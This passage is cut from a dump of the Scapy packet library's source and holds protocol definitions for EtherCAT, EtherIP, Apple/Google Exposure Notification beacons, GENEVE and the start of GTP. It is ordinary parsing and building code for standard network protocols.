remaining bits\n                        cur_val |= octet << cur_val_bit_idx\n\n                        cur_val_bit_idx += octet_bits_left\n                        field_required_bits -= octet_bits_left\n                        octet_bits_left = 0\n\n            return s[bf_total_byte_length:], this_val\n\n\nclass LEBitFieldLenField(LEBitField):\n    __slots__ = [\"length_of\", \"count_of\", \"adjust\"]\n\n    def __init__(self, name, default, size, length_of=None, count_of=None, adjust=lambda pkt, x: x):  # noqa: E501\n        LEBitField.__init__(self, name, default, size)\n        self.length_of = length_of\n        self.count_of = count_of\n        self.adjust = adjust\n\n    def i2m(self, pkt, x):\n        return FieldLenField.i2m(self, pkt, x)\n\n\nclass LEBitEnumField(LEBitField, _EnumField):\n    __slots__ = EnumField.__slots__\n\n    def __init__(self, name, default, size, enum):\n        _EnumField.__init__(self, name, default, enum)\n        self.rev = size < 0\n        self.size = abs(size)\n\n\n################################################\n# DLPDU structure definitions (read/write PDUs)\n################################################\n\nETHERCAT_TYPE_12_CIRCULATING_FRAME = {\n    0x00: 'FRAME-NOT-CIRCULATING',\n    0x01: 'FRAME-CIRCULATED-ONCE'\n}\n\nETHERCAT_TYPE_12_NEXT_FRAME = {\n    0x00: 'LAST-TYPE12-PDU',\n    0x01: 'TYPE12-PDU-FOLLOWS'\n}\n\n\nclass EtherCatType12DLPDU(Packet):\n    \"\"\"\n    Type12 message base class\n    \"\"\"\n    def post_build(self, pkt, pay):\n        \"\"\"\n\n        set next attr automatically if not set explicitly by user\n\n        :param pkt: raw string containing the current layer\n        :param pay: raw string containing the payload\n        :return: <new current layer> + payload\n        \"\"\"\n\n        data_len = len(self.data)\n        if data_len > 2047:\n            raise ValueError('payload size {} exceeds maximum length {} '\n                             'of data size.'.format(data_len, 2047))\n\n        if self.next is not None:\n            has_next = True if self.next else False\n        else:\n            if pay:\n                has_next = True\n            else:\n                has_next = False\n\n        if has_next:\n            next_flag = bytearray([pkt[7] | 0b10000000])\n        else:\n            next_flag = bytearray([pkt[7] & 0b01111111])\n\n        return pkt[:7] + next_flag + pkt[8:] + pay\n\n    def guess_payload_class(self, payload):\n\n        try:\n            dlpdu_type = payload[0]\n            return EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[dlpdu_type]\n\n        except KeyError:\n            log_runtime.error(\n                '{}.guess_payload_class() - unknown or invalid '\n                'DLPDU type'.format(self.__class__.__name__))\n            return Packet.guess_payload_class(self, payload)\n\n    # structure templates lacking leading cmd-attribute\n    PHYSICAL_ADDRESSING_DESC = [\n        ByteField('idx', 0),\n        LEShortField('adp', 0),\n        LEShortField('ado', 0),\n        LEBitFieldLenField('len', None, 11, count_of='data'),\n        LEBitField('_reserved', 0, 3),\n        LEBitEnumField('c', 0, 1, ETHERCAT_TYPE_12_CIRCULATING_FRAME),\n        LEBitEnumField('next', None, 1, ETHERCAT_TYPE_12_NEXT_FRAME),\n        LEShortField('irq', 0),\n        FieldListField('data', [], ByteField('', 0x00),\n                       count_from=lambda pkt: pkt.len),\n        LEShortField('wkc', 0)\n    ]\n\n    BROADCAST_ADDRESSING_DESC = PHYSICAL_ADDRESSING_DESC\n\n    LOGICAL_ADDRESSING_DESC = [\n        ByteField('idx', 0),\n        LEIntField('adr', 0),\n        LEBitFieldLenField('len', None, 11, count_of='data'),\n        LEBitField('_reserved', 0, 3),\n        LEBitEnumField('c', 0, 1, ETHERCAT_TYPE_12_CIRCULATING_FRAME),\n        LEBitEnumField('next', None, 1, ETHERCAT_TYPE_12_NEXT_FRAME),\n        LEShortField('irq', 0),\n        FieldListField('data', [], ByteField('', 0x00),\n                       count_from=lambda pkt: pkt.len),\n        LEShortField('wkc', 0)\n    ]\n\n\n################\n# read messages\n################\n\nclass EtherCatAPRD(EtherCatType12DLPDU):\n    \"\"\"\n    APRD - Auto Increment Physical Read\n    (IEC 61158-5-12, sec. 5.4.1.2 tab. 14 / p. 32)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x01)] + \\\n        EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC\n\n\nclass EtherCatFPRD(EtherCatType12DLPDU):\n    \"\"\"\n    FPRD - Configured address physical read\n    (IEC 61158-5-12, sec. 5.4.1.3 tab. 15 / p. 33)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x04)] + \\\n        EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC\n\n\nclass EtherCatBRD(EtherCatType12DLPDU):\n    \"\"\"\n    BRD - Broadcast read\n    (IEC 61158-5-12, sec. 5.4.1.4 tab. 16 / p. 34)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x07)] + \\\n        EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC\n\n\nclass EtherCatLRD(EtherCatType12DLPDU):\n    \"\"\"\n    LRD - Logical read\n    (IEC 61158-5-12, sec. 5.4.1.5 tab. 17 / p. 36)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x0a)] + \\\n        EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC\n\n\n#################\n# write messages\n#################\n\n\nclass EtherCatAPWR(EtherCatType12DLPDU):\n    \"\"\"\n    APWR - Auto Increment Physical Write\n    (IEC 61158-5-12, sec. 5.4.2.2 tab. 18 / p. 37)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x02)] + \\\n        EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC\n\n\nclass EtherCatFPWR(EtherCatType12DLPDU):\n    \"\"\"\n    FPWR - Configured address physical write\n    (IEC 61158-5-12, sec. 5.4.2.3 tab. 19 / p. 38)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x05)] + \\\n        EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC\n\n\nclass EtherCatBWR(EtherCatType12DLPDU):\n    \"\"\"\n    BWR - Broadcast read (IEC 61158-5-12, sec. 5.4.2.4 tab. 20 / p. 39)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x08)] + \\\n        EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC\n\n\nclass EtherCatLWR(EtherCatType12DLPDU):\n    \"\"\"\n    LWR - Logical write\n    (IEC 61158-5-12, sec. 5.4.2.5 tab. 21 / p. 40)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x0b)] + \\\n        EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC\n\n\n######################\n# read/write messages\n######################\n\n\nclass EtherCatAPRW(EtherCatType12DLPDU):\n    \"\"\"\n    APRW - Auto Increment Physical Read Write\n    (IEC 61158-5-12, sec. 5.4.3.1 tab. 22 / p. 41)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x03)] + \\\n        EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC\n\n\nclass EtherCatFPRW(EtherCatType12DLPDU):\n    \"\"\"\n    FPRW - Configured address physical read write\n    (IEC 61158-5-12, sec. 5.4.3.2 tab. 23 / p. 43)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x06)] + \\\n        EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC\n\n\nclass EtherCatBRW(EtherCatType12DLPDU):\n    \"\"\"\n    BRW - Broadcast read write\n    (IEC 61158-5-12, sec. 5.4.3.3 tab. 24 / p. 39)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x09)] + \\\n        EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC\n\n\nclass EtherCatLRW(EtherCatType12DLPDU):\n    \"\"\"\n    LRW - Logical read write\n    (IEC 61158-5-12, sec. 5.4.3.4 tab. 25 / p. 45)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x0c)] + \\\n        EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC\n\n\nclass EtherCatARMW(EtherCatType12DLPDU):\n    \"\"\"\n    ARMW - Auto increment physical read multiple write\n    (IEC 61158-5-12, sec. 5.4.3.5 tab. 26 / p. 46)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x0d)] + \\\n        EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC\n\n\nclass EtherCatFRMW(EtherCatType12DLPDU):\n    \"\"\"\n    FRMW - Configured address physical read multiple write\n    (IEC 61158-5-12, sec. 5.4.3.6 tab. 27 / p. 47)\n    \"\"\"\n\n    fields_desc = [ByteField('_cmd', 0x0e)] + \\\n        EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC\n\n\nclass EtherCat(Packet):\n    \"\"\"\n    Common EtherCat header layer\n    \"\"\"\n    ETHER_HEADER_LEN = 14\n    ETHER_FSC_LEN = 4\n    ETHER_FRAME_MIN_LEN = 64\n    ETHERCAT_HEADER_LEN = 2\n\n    FRAME_TYPES = {\n        0x01: 'TYPE-12-PDU',\n        0x04: 'NETWORK-VARIABLES',\n        0x05: 'MAILBOX'\n    }\n\n    fields_desc = [\n        LEBitField('length', 0, 11),\n        LEBitField('_reserved', 0, 1),\n        LEBitField('type', 0, 4),\n    ]\n\n    ETHERCAT_TYPE12_DLPDU_TYPES = {\n        0x01: EtherCatAPRD,\n        0x04: EtherCatFPRD,\n        0x07: EtherCatBRD,\n        0x0a: EtherCatLRD,\n        0x02: EtherCatAPWR,\n        0x05: EtherCatFPWR,\n        0x08: EtherCatBWR,\n        0x0b: EtherCatLWR,\n        0x03: EtherCatAPRW,\n        0x06: EtherCatFPRW,\n        0x09: EtherCatBRW,\n        0x0c: EtherCatLRW,\n        0x0d: EtherCatARMW,\n        0x0e: EtherCatFRMW\n    }\n\n    def post_build(self, pkt, pay):\n        \"\"\"\n        need to set the length of the whole PDU manually\n        to avoid any bit fiddling use a dummy class to build the layer content\n\n        also add padding if frame is < 64 bytes\n\n        Note: padding only handles Ether/n*Dot1Q/EtherCat\n              (no special mumbo jumbo)\n\n        :param pkt: raw string containing the current layer\n        :param pay: raw string containing the payload\n        :return: <new current layer> + payload\n        \"\"\"\n\n        class _EtherCatLengthCalc(Packet):\n            \"\"\"\n            dummy class used to generate str representation easily\n            \"\"\"\n            fields_desc = [\n                LEBitField('length', None, 11),\n                LEBitField('_reserved', 0, 1),\n                LEBitField('type', 0, 4),\n            ]\n\n        payload_len = len(pay)\n\n        # length field is 11 bit\n        if payload_len > 2047:\n            raise ValueError('payload size {} exceeds maximum length {} '\n                             'of EtherCat message.'.format(payload_len, 2047))\n\n        self.length = payload_len\n\n        vlan_headers_total_size = 0\n        upper_layer = self.underlayer\n\n        # add size occupied by VLAN tags\n        while upper_layer and isinstance(upper_layer, Dot1Q):\n            vlan_headers_total_size += 4\n            upper_layer = upper_layer.underlayer\n\n        if not isinstance(upper_layer, Ether):\n            raise Exception('missing Ether layer')\n\n        pad_len = EtherCat.ETHER_FRAME_MIN_LEN - (EtherCat.ETHER_HEADER_LEN +\n                                                  vlan_headers_total_size +\n                                                  EtherCat.ETHERCAT_HEADER_LEN +  # noqa: E501\n                                                  payload_len +\n                                                  EtherCat.ETHER_FSC_LEN)\n\n        if pad_len > 0:\n            pad = Padding()\n            pad.load = b'\\x00' * pad_len\n\n            return raw(_EtherCatLengthCalc(length=self.length,\n                                           type=self.type)) + pay + raw(pad)\n        return raw(_EtherCatLengthCalc(length=self.length,\n                                       type=self.type)) + pay\n\n    def guess_payload_class(self, payload):\n        try:\n            dlpdu_type = payload[0]\n            return EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[dlpdu_type]\n        except KeyError:\n            log_runtime.error(\n                '{}.guess_payload_class() - unknown or invalid '\n                'DLPDU type'.format(self.__class__.__name__))\n            return Packet.guess_payload_class(self, payload)\n\n\nbind_layers(Ether, EtherCat, type=0x88a4)\nbind_layers(Dot1Q, EtherCat, type=0x88a4)\n\n# bindings for DLPDUs\n\nbind_layers(EtherCat, EtherCatAPRD, type=0x01)\nbind_layers(EtherCat, EtherCatFPRD, type=0x01)\nbind_layers(EtherCat, EtherCatBRD, type=0x01)\nbind_layers(EtherCat, EtherCatLRD, type=0x01)\nbind_layers(EtherCat, EtherCatAPWR, type=0x01)\nbind_layers(EtherCat, EtherCatFPWR, type=0x01)\nbind_layers(EtherCat, EtherCatBWR, type=0x01)\nbind_layers(EtherCat, EtherCatLWR, type=0x01)\nbind_layers(EtherCat, EtherCatAPRW, type=0x01)\nbind_layers(EtherCat, EtherCatFPRW, type=0x01)\nbind_layers(EtherCat, EtherCatBRW, type=0x01)\nbind_layers(EtherCat, EtherCatLRW, type=0x01)\nbind_layers(EtherCat, EtherCatARMW, type=0x01)\nbind_layers(EtherCat, EtherCatFRMW, type=0x01)\n"
  },
  {
    "path": "scapy/contrib/etherip.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = EtherIP\n# scapy.contrib.status = loads\n\nfrom scapy.fields import BitField\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.inet import IP\nfrom scapy.layers.l2 import Ether\n\n\nclass EtherIP(Packet):\n    name = \"EtherIP / RFC 3378\"\n    fields_desc = [BitField(\"version\", 3, 4),\n                   BitField(\"reserved\", 0, 12)]\n\n\nbind_layers(IP, EtherIP, frag=0, proto=0x61)\nbind_layers(EtherIP, Ether)\n"
  },
  {
    "path": "scapy/contrib/exposure_notification.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2020 Michael Farrell <micolous+git@gmail.com>\n\n# scapy.contrib.description = Apple/Google Exposure Notification System (ENS)\n# scapy.contrib.status = loads\n\n\"\"\"\nApple/Google Exposure Notification System (ENS), formerly known as\nPrivacy-Preserving Contact Tracing Project.\n\nThis module parses the Bluetooth Low Energy beacon payloads used by the system.\nThis does **not** yet implement any cryptographic functionality.\n\nMore info:\n\n* `Apple: Privacy-Preserving Contact Tracing`__\n* `Google: Exposure Notifications`__\n* `Wikipedia: Exposure Notification`__\n\n__ https://www.apple.com/covid19/contacttracing/\n__ https://www.google.com/covid19/exposurenotifications/\n__ https://en.wikipedia.org/wiki/Exposure_Notification\n\nBluetooth protocol specifications:\n\n* `v1.1`_ (April 2020)\n* `v1.2`_ (April 2020)\n\n.. _v1.1: https://blog.google/documents/58/Contact_Tracing_-_Bluetooth_Specification_v1.1_RYGZbKW.pdf\n.. _v1.2: https://covid19-static.cdn-apple.com/applications/covid19/current/static/contact-tracing/pdf/ExposureNotification-BluetoothSpecificationv1.2.pdf\n\"\"\"  # noqa: E501\n\nfrom scapy.fields import StrFixedLenField\nfrom scapy.layers.bluetooth import EIR_Hdr, EIR_ServiceData16BitUUID, \\\n    EIR_CompleteList16BitServiceUUIDs, LowEnergyBeaconHelper\nfrom scapy.packet import bind_layers, Packet\n\n\nEXPOSURE_NOTIFICATION_UUID = 0xFD6F\n\n\nclass Exposure_Notification_Frame(Packet, LowEnergyBeaconHelper):\n    \"\"\"Apple/Google BLE Exposure Notification broadcast frame.\"\"\"\n    name = \"Exposure Notification broadcast\"\n\n    fields_desc = [\n        # Rolling Proximity Identifier\n        StrFixedLenField(\"identifier\", None, 16),\n        # Associated Encrypted Metadata (added in v1.2)\n        StrFixedLenField(\"metadata\", None, 4),\n    ]\n\n    def build_eir(self):\n        \"\"\"Builds a list of EIR messages to wrap this frame.\"\"\"\n\n        return LowEnergyBeaconHelper.base_eir + [\n            EIR_Hdr() / EIR_CompleteList16BitServiceUUIDs(svc_uuids=[\n                EXPOSURE_NOTIFICATION_UUID]),\n            EIR_Hdr() / EIR_ServiceData16BitUUID() / self\n        ]\n\n\nbind_layers(EIR_ServiceData16BitUUID, Exposure_Notification_Frame,\n            svc_uuid=EXPOSURE_NOTIFICATION_UUID)\n"
  },
  {
    "path": "scapy/contrib/geneve.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2018 Hao Zheng <haozheng10@gmail.com>\n\n# scapy.contrib.description = Generic Network Virtualization Encapsulation (GENEVE)\n# scapy.contrib.status = loads\n\n\"\"\"\nGeneve: Generic Network Virtualization Encapsulation\n\nhttps://datatracker.ietf.org/doc/html/rfc8926\n\"\"\"\n\nimport struct\n\nfrom scapy.fields import BitField, XByteField, XShortEnumField, X3BytesField, StrLenField, PacketListField\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.inet import IP, UDP\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.layers.l2 import Ether, ETHER_TYPES\n\nCLASS_IDS = {0x0100: \"Linux\",\n             0x0101: \"Open vSwitch\",\n             0x0102: \"Open Virtual Networking (OVN)\",\n             0x0103: \"In-band Network Telemetry (INT)\",\n             0x0104: \"VMware\",\n             0x0105: \"Amazon.com, Inc.\",\n             0x0106: \"Cisco Systems, Inc.\",\n             0x0107: \"Oracle Corporation\",\n             0x0110: \"Amazon.com, Inc.\",\n             0x0118: \"IBM\",\n             0x0128: \"Ericsson\",\n             0xFEFF: \"Unassigned\",\n             0xFFFF: \"Experimental\"}\n\n\nclass GeneveOptions(Packet):\n    name = \"Geneve Options\"\n    fields_desc = [XShortEnumField(\"classid\", 0x0000, CLASS_IDS),\n                   XByteField(\"type\", 0x00),\n                   BitField(\"reserved\", 0, 3),\n                   BitField(\"length\", None, 5),\n                   StrLenField('data', '', length_from=lambda x: x.length * 4)]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n    def post_build(self, p, pay):\n        if self.length is None:\n            tmp_len = len(self.data) // 4\n            p = p[:3] + struct.pack(\"!B\", (p[3] & 0x3) | (tmp_len & 0x1f)) + p[4:]\n        return p + pay\n\n\nclass GENEVE(Packet):\n    name = \"GENEVE\"\n    fields_desc = [BitField(\"version\", 0, 2),\n                   BitField(\"optionlen\", None, 6),\n                   BitField(\"oam\", 0, 1),\n                   BitField(\"critical\", 0, 1),\n                   BitField(\"reserved\", 0, 6),\n                   XShortEnumField(\"proto\", 0x0000, ETHER_TYPES),\n                   X3BytesField(\"vni\", 0),\n                   XByteField(\"reserved2\", 0x00),\n                   PacketListField(\"options\", [], GeneveOptions,\n                                   length_from=lambda pkt: pkt.optionlen * 4)]\n\n    def post_build(self, p, pay):\n        if self.optionlen is None:\n            tmp_len = (len(p) - 8) // 4\n            p = struct.pack(\"!B\", (p[0] & 0xc0) | (tmp_len & 0x3f)) + p[1:]\n        return p + pay\n\n    def answers(self, other):\n        if isinstance(other, GENEVE):\n            if ((self.proto == other.proto) and (self.vni == other.vni)):\n                return self.payload.answers(other.payload)\n        else:\n            return self.payload.answers(other)\n        return 0\n\n    def mysummary(self):\n        return self.sprintf(\"GENEVE (vni=%GENEVE.vni%,\"\n                            \"optionlen=%GENEVE.optionlen%,\"\n                            \"proto=%GENEVE.proto%)\")\n\n\nbind_layers(UDP, GENEVE, dport=6081)\nbind_layers(GENEVE, Ether, proto=0x6558)\nbind_layers(GENEVE, IP, proto=0x0800)\nbind_layers(GENEVE, IPv6, proto=0x86dd)\n"
  },
  {
    "path": "scapy/contrib/gtp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2018 Leonardo Monteiro <decastromonteiro@gmail.com>\n#               2017 Alexis Sultan    <alexis.sultan@sfr.com>\n#               2017 Alessio Deiana <adeiana@gmail.com>\n#               2014 Guillaume Valadon <guillaume.valadon@ssi.gouv.fr>\n#               2012 ffranz <ffranz@iniqua.com>\n\n# scapy.contrib.description = GPRS Tunneling Protocol (GTP)\n# scapy.contrib.status = loads\n\n\"\"\"\nGPRS Tunneling Protocol (GTP)\n\nSpec: 3GPP TS 29.060 and 3GPP TS 29.274\nSome IEs: 3GPP TS 24.008\n\"\"\"\n\nimport struct\n\nfrom scapy.compat import chb, orb, bytes_encode\nfrom scapy.config import conf\nfrom scapy.error import warning\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    IPField,\n    IntField,\n    PacketListField,\n    ShortField,\n    StrFixedLenField,\n    StrLenField,\n    X3BytesField,\n    XBitField,\n    XByteField,\n    XIntField,\n)\nfrom scapy.layers.inet import IP, UDP\nfrom scapy.layers.inet6 import IPv6, IP6Field\nfrom scapy.layers.ppp import PPP\nfrom scapy.layers.dns import DNSStrField\nfrom scapy.packet import bind_layers, bind_bottom_up, bind_top_down, \\\n    Packet, Raw\nfrom scapy.volatile import RandInt, RandIP, RandNum, RandString\n\n\n# GTP Data types\n\nRATType = {\n    1: \"UTRAN\",\n    2: \"GETRAN\",\n    3: \"WLAN\",\n    4: \"GAN\",\n    5: \"HSPA\"\n}\n\nGTPmessageType = {1: \"echo_request\",\n                  2: \"echo_response\",\n                  16: \"create_pdp_context_req\",\n                  17: \"create_pdp_context_res\",\n                  18: \"update_pdp_context_req\",\n                  19: \"update_pdp_context_resp\",\n                  20: \"delete_pdp_context_req\",\n                  21: \"delete_pdp_context_res\",\n                  26: \"error_indication\",\n                  27: \"pdu_notification_req\",\n                  31: \"supported_extension_headers_notification\",\n                  254: \"end_marker\",\n                  255: \"g_pdu\"}\n\nIEType = {1: \"Cause\",\n             2: \"IMSI\",\n             3: \"RAI\",\n             4: \"TLLI\",\n             5: \"P_TMSI\",\n             8: \"IE_ReorderingRequired\",\n          14: \"Recovery\",\n          15: \"SelectionMode\",\n          16: \"TEIDI\",\n          17: \"TEICP\",\n          19: \"TeardownInd\",\n          20: \"NSAPI\",\n          26: \"ChargingChrt\",\n          27: \"TraceReference\",\n          28: \"TraceType\",\n          127: \"ChargingId\",\n          128: \"EndUserAddress\",\n          131: \"AccessPointName\",\n          132: \"ProtocolConfigurationOptions\",\n          133: \"GSNAddress\",\n          134: \"MSInternationalNumber\",\n          135: \"QoS\",\n          148: \"CommonFlags\",\n          149: \"APNRestriction\",\n          151: \"RatType\",\n          152: \"UserLocationInformation\",\n          153: \"MSTimeZone\",\n          154: \"IMEI\",\n          181: \"MSInfoChangeReportingAction\",\n          184: \"BearerControlMode\",\n          191: \"EvolvedAllocationRetentionPriority\",\n          255: \"PrivateExtention\"}\n\nCauseValues = {0: \"Request IMSI\",\n               1: \"Request IMEI\",\n               2: \"Request IMSI and IMEI\",\n               3: \"No identity needed\",\n               4: \"MS Refuses\",\n               5: \"MS is not GPRS Responding\",\n               128: \"Request accepted\",\n               129: \"New PDP type due to network preference\",\n               130: \"New PDP type due to single address bearer only\",\n               192: \"Non-existent\",\n               193: \"Invalid message format\",\n               194: \"IMSI not known\",\n               195: \"MS is GPRS Detached\",\n               196: \"MS is not GPRS Responding\",\n               197: \"MS Refuses\",\n               198: \"Version not supported\",\n               199: \"No resources available\",\n               200: \"Service not supported\",\n               201: \"Mandatory IE incorrect\",\n               202: \"Mandatory IE missing\",\n               203: \"Optional IE incorrect\",\n               204: \"System failure\",\n               205: \"Roaming restriction\",\n               206: \"P-TMSI Signature mismatch\",\n               207: \"GPRS connection suspended\",\n               208: \"Authentication failure\",\n               209: \"User authentication failed\",\n               210: \"Context not found\",\n               211: \"All dynamic PDP addresses are occupied\",\n               212: \"No memory is available\",\n               213: \"Reallocation failure\",\n               214: \"Unknown mandatory extension header\",\n               215: \"Semantic error in the TFT operation\",\n               216: \"Syntactic error in TFT operation\",\n               217: \"Semantic errors in packet filter(s)\",\n               218: \"Syntactic errors in packet filter(s)\",\n               219: \"Missing or unknown APN\",\n               220: \"Unknown PDP address or PDP type\",\n               221: \"PDP context without TFT already activated\",\n               222: \"APN access denied : no subscription\",\n               223: \"APN Restriction type incompatibility with currently active PDP Contexts\",  # noqa: E501\n               224: \"MS MBMS Capabilities Insufficient\",\n               225: \"Invalid Correlation : ID\",\n               226: \"MBMS Bearer Context Superseded\",\n               227: \"Bearer Control Mode violation\",\n               228: \"Collision with network initiated request\"}\n\nSelection_Mode = {11111100: \"MS or APN\",\n                  11111101: \"MS\",\n                  11111110: \"NET\",\n                  11111111: \"FutureUse\"}\n\nTrueFalse_value = {254: \"False\",\n                   255: \"True\"}\n\n# http://www.arib.or.jp/IMT-2000/V720Mar09/5_Appendix/Rel8/29/29281-800.pdf\nExtensionHeadersTypes = {\n    0: \"No more extension headers\",\n    1: \"Reserved\",\n    2: \"Reserved\",\n    64: \"UDP Port\",\n    133: \"PDU Session Container\",\n    192: \"PDCP PDU Number\",\n    193: \"Reserved\",\n    194: \"Reserved\"\n}\n\n\nclass TBCDByteField(StrFixedLenField):\n\n    def i2h(self, pkt, val):\n        return val\n\n    def m2i(self, pkt, val):\n        ret = []\n        for v in val:\n            byte = orb(v)\n            left = byte >> 4\n            right = byte & 0xf\n            if left == 0xf:\n                ret.append(TBCD_TO_ASCII[right:right + 1])\n            else:\n                ret += [\n                    TBCD_TO_ASCII[right:right + 1],\n                    TBCD_TO_ASCII[left:left + 1]\n                ]\n        return b\"\".join(ret)\n\n    def i2m(self, pkt, val):\n        if not isinstance(val, bytes):\n            val = bytes_encode(val)\n        ret_string = b\"\"\n        for i in range(0, len(val), 2):\n            tmp = val[i:i + 2]\n            if len(tmp) == 2:\n                ret_string += chb(int(tmp[::-1], 16))\n            else:\n                ret_string += chb(int(b\"F\" + tmp[:1], 16))\n        return ret_string\n\n\nclass FQDNField(DNSStrField):\n    \"\"\"\n    DNSStrField without ending null.\n\n    See ETSI TS 129.244 18.07.00 - 8.66, NOTE 1\n    \"\"\"\n\n    def h2i(self, pkt, x):\n        return bytes_encode(x)\n\n    def i2m(self, pkt, x):\n        return b\"\".join(chb(len(y)) + y for y in (k[:63] for k in x.split(b\".\")))\n\n    def getfield(self, pkt, s):\n        remain, s = super().getfield(pkt, s)\n        return remain, s[:-1]\n\n\nTBCD_TO_ASCII = b\"0123456789*#abc\"\n\n\nclass GTP_ExtensionHeader(Packet):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt is None:\n            return GTP_UDPPort_ExtensionHeader\n        return cls\n\n\nclass GTP_UDPPort_ExtensionHeader(GTP_ExtensionHeader):\n    fields_desc = [ByteField(\"length\", 0x01),\n                   ShortField(\"udp_port\", None),\n                   ByteEnumField(\"next_ex\", 0, ExtensionHeadersTypes), ]\n\n\nclass GTP_PDCP_PDU_ExtensionHeader(GTP_ExtensionHeader):\n    fields_desc = [ByteField(\"length\", 0x01),\n                   ShortField(\"pdcp_pdu\", None),\n                   ByteEnumField(\"next_ex\", 0, ExtensionHeadersTypes), ]\n\n\nclass GTPHeader(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP-C Header\"\n    fields_desc = [BitField(\"version\", 1, 3),\n                   BitField(\"PT\", 1, 1),\n                   BitField(\"reserved\", 0, 1),\n                   BitField(\"E\", 0, 1),\n                   BitField(\"S\", 0, 1),\n                   BitField(\"PN\", 0, 1),\n                   ByteEnumField(\"gtp_type\", None, GTPmessageType),\n                   ShortField(\"length\", None),\n                   IntField(\"teid\", 0),\n                   ConditionalField(\n                       XBitField(\"seq\", 0, 16),\n                       lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1),\n                   ConditionalField(\n                       ByteField(\"npdu\", 0),\n                       lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1),\n                   ConditionalField(\n                       ByteEnumField(\"next_ex\", 0, ExtensionHeadersTypes),\n                       lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1),\n                   ]\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.length is None:\n            # The message length field is calculated different in GTPv1 and GTPv2.  # noqa: E501\n            # For GTPv1 it is defined as the rest of the packet following the mandatory 8-byte GTP header  # noqa: E501\n            # For GTPv2 it is defined as the length of the message in bytes excluding the mandatory part of the GTP-C header (the first 4 bytes)  # noqa: E501\n            tmp_len = len(p) - 4 if self.version == 2 else len(p) - 8\n            p = p[:2] + struct.pack(\"!H\", tmp_len) + p[4:]\n        return p\n\n    def hashret(self):\n        hsh = struct.pack(\"B\", self.version)\n        if self.seq:\n            hsh += struct.pack(\"H\", self.seq)\n        return hsh + self.payload.hashret()\n\n    def answers(self, other):\n        return (isinstance(other, GTPHeader) and\n                self.version == other.version and\n                (not self.seq or self.seq == other.seq) and\n                self.payload.answers(other.payload))\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 1:\n            if (orb(_pkt[0]) >> 5) & 0x7 == 2:\n                from . import gtp_v2\n                return gtp_v2.GTPHeader\n        if _pkt and len(_pkt) >= 8:\n            _gtp_type = orb(_pkt[1:2])\n            return GTPforcedTypes.get(_gtp_type, GTPHeader)\n        return cls\n\n\nclass GTP_U_Header(GTPHeader):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP-U Header\"\n    # GTP-U protocol is used to transmit T-PDUs between GSN pairs (or between an SGSN and an RNC in UMTS),  # noqa: E501\n    # encapsulated in G-PDUs. A G-PDU is a packet including a GTP-U header and a T-PDU. The Path Protocol  # noqa: E501\n    # defines the path and the GTP-U header defines the tunnel. Several tunnels may be multiplexed on a single path.  # noqa: E501\n\n    def guess_payload_class(self, payload):\n        # Snooped from Wireshark\n        # https://github.com/boundary/wireshark/blob/07eade8124fd1d5386161591b52e177ee6ea849f/epan/dissectors/packet-gtp.c#L8195  # noqa: E501\n        if self.E == 1:\n            if self.next_ex == 0x85:\n                return GTPPDUSessionContainer\n            return GTPHeader.guess_payload_class(self, payload)\n\n        if self.gtp_type == 255:\n            sub_proto = orb(payload[0])\n            if sub_proto >= 0x45 and sub_proto <= 0x4e:\n                return IP\n            elif (sub_proto & 0xf0) == 0x60:\n                return IPv6\n            else:\n                return PPP\n        return GTPHeader.guess_payload_class(self, payload)\n\n\n# Some gtp_types have to be associated with a certain type of 